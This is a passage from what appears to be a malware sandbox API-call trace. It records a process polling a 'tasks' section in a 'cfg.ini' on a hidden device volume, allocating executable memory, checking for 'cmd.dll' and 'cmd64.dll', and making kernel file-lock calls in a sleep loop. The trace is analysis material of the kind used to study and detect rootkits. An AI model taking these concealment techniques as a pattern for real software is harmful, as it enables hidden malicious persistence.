_Dest="0d24eb7c\\cfg.ini") returned 16 [0122.756] KeEnterCriticalRegion () [0122.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.756] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.756] IdePortDispatch () returned 0x103 [0122.757] KeWaitForMutexObject () returned 0x0 [0122.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.757] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.757] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.757] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.757] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.757] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be76b0 [0122.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.757] KeLeaveCriticalRegion () [0122.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.757] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.757] KeEnterCriticalRegion () [0122.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.757] KeLeaveCriticalRegion () [0122.757] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.757] KeEnterCriticalRegion () [0122.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.757] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.757] IdePortDispatch () returned 0x103 [0122.757] KeWaitForMutexObject () returned 0x0 [0122.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.757] KeLeaveCriticalRegion () [0122.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.758] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.758] KeEnterCriticalRegion () [0122.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1b000 [0122.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.758] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.758] IdePortDispatch () returned 0x103 [0122.759] KeWaitForMutexObject () returned 0x0 [0122.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.760] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.760] IdePortDispatch () returned 0x103 [0122.760] KeWaitForMutexObject () returned 0x0 [0122.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.760] KeLeaveCriticalRegion () [0122.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.760] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.760] KeEnterCriticalRegion () [0122.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.760] KeLeaveCriticalRegion () [0122.760] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.760] KeEnterCriticalRegion () [0122.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.760] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.761] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.761] KeLeaveCriticalRegion () [0122.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.761] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.761] KeEnterCriticalRegion () [0122.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.761] ExFreePoolWithTag (P=0xfffffa8003be76b0, Tag=0x0) [0122.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.761] KeLeaveCriticalRegion () [0122.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.761] ReleaseMutex (hMutex=0xf0) returned 1 [0122.761] Sleep (dwMilliseconds=0x927c0) [0122.775] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.775] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.775] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.775] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.775] KeEnterCriticalRegion () [0122.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.775] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.775] IdePortDispatch () returned 0x103 [0122.775] KeWaitForMutexObject () returned 0x0 [0122.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.775] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.775] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.775] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.775] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.775] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7d50 [0122.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.775] KeLeaveCriticalRegion () [0122.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.775] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.775] KeEnterCriticalRegion () [0122.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.775] KeLeaveCriticalRegion () [0122.776] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.776] KeEnterCriticalRegion () [0122.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.776] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.776] IdePortDispatch () returned 0x103 [0122.776] KeWaitForMutexObject () returned 0x0 [0122.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.776] KeLeaveCriticalRegion () [0122.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.776] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.776] KeEnterCriticalRegion () [0122.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d20000 [0122.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.776] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.776] IdePortDispatch () returned 0x103 [0122.776] KeWaitForMutexObject () returned 0x0 [0122.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.776] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.776] IdePortDispatch () returned 0x103 [0122.777] KeWaitForMutexObject () returned 0x0 [0122.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.777] KeLeaveCriticalRegion () [0122.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.777] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.777] KeEnterCriticalRegion () [0122.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.777] KeLeaveCriticalRegion () [0122.777] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.777] KeEnterCriticalRegion () [0122.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.777] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.777] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be78c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.777] KeLeaveCriticalRegion () [0122.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.777] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.777] KeEnterCriticalRegion () [0122.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.778] ExFreePoolWithTag (P=0xfffffa8003be7d50, Tag=0x0) [0122.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.778] KeLeaveCriticalRegion () [0122.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.778] ReleaseMutex (hMutex=0xf0) returned 1 [0122.778] Sleep (dwMilliseconds=0x927c0) [0122.791] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.791] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.791] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.791] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.791] KeEnterCriticalRegion () [0122.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.791] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.792] IdePortDispatch () returned 0x103 [0122.792] KeWaitForMutexObject () returned 0x0 [0122.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.792] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be78a0 [0122.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.792] KeLeaveCriticalRegion () [0122.792] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.792] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.792] KeEnterCriticalRegion () [0122.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.792] KeLeaveCriticalRegion () [0122.792] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.792] KeEnterCriticalRegion () [0122.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.792] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.792] IdePortDispatch () returned 0x103 [0122.792] KeWaitForMutexObject () returned 0x0 [0122.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.792] KeLeaveCriticalRegion () [0122.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.793] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.793] KeEnterCriticalRegion () [0122.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d25000 [0122.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.793] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.793] IdePortDispatch () returned 0x103 [0122.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.793] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.793] IdePortDispatch () returned 0x103 [0122.793] KeWaitForMutexObject () returned 0x0 [0122.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.793] KeLeaveCriticalRegion () [0122.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.794] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.794] KeEnterCriticalRegion () [0122.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] KeLeaveCriticalRegion () [0122.794] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.794] KeEnterCriticalRegion () [0122.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.794] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be73c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] KeLeaveCriticalRegion () [0122.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.794] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.794] KeEnterCriticalRegion () [0122.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] ExFreePoolWithTag (P=0xfffffa8003be78a0, Tag=0x0) [0122.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.794] KeLeaveCriticalRegion () [0122.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.794] ReleaseMutex (hMutex=0xf0) returned 1 [0122.794] Sleep (dwMilliseconds=0x927c0) [0122.810] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.810] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.810] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.810] KeEnterCriticalRegion () [0122.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.810] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.810] IdePortDispatch () returned 0x103 [0122.810] KeWaitForMutexObject () returned 0x0 [0122.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.810] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.810] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.810] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.810] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7300 [0122.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.811] KeLeaveCriticalRegion () [0122.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.811] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.811] KeEnterCriticalRegion () [0122.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.811] KeLeaveCriticalRegion () [0122.811] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: 